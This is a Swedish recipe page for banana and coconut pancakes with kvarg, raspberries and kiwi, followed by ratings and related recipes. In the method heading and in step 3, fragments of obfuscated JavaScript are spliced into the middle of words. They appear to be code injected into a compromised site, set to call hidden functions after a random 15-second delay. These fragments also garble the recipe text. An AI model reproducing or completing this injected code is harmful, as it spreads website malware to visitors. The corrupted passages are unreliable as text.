Banan & Kokospannkakor

2013-05-22
imageimage
  • Yield : 4
  • Servings : 1
  • Prep Time : 5m
  • Cook Time : 10m
  • Ready In : 15m

Ingredienser

• 1 mogen Banan
• 2 msk Kokosmjöl
• 2 Ägg
• 1 msk mjölk
• 50 g Kvarg
• 1 Kiwi
• 1 dl Hallon
• Florsocker

Genomförandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Steg 1

Mosa bananen.
Kläck äggen i en skål.
Rör ner kokosmjölet, mjölken & bananen

Steg 2

Stek på låg värme i kokosolja eller smör.
Gör små pannkakor så håller de ihop bättre.

Steg 3

Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a kvarg med en del av hallona.
Bred ut hallonkvargen mellan pannkakorna och uppe på.

Toppa med kiwi, hallon & florsocker

Medlemsbetyg

(5 / 5)

5 5 3
Betygsätt recept

3 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0985

    Lowcarb Carbonara

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • _SAM0671

    Sremska korv med rostad gulbeta, potatis, sparris, spenat, svartvitlök med fetaostkräm

Recipe Comments

Post A Comment

Current ye@r *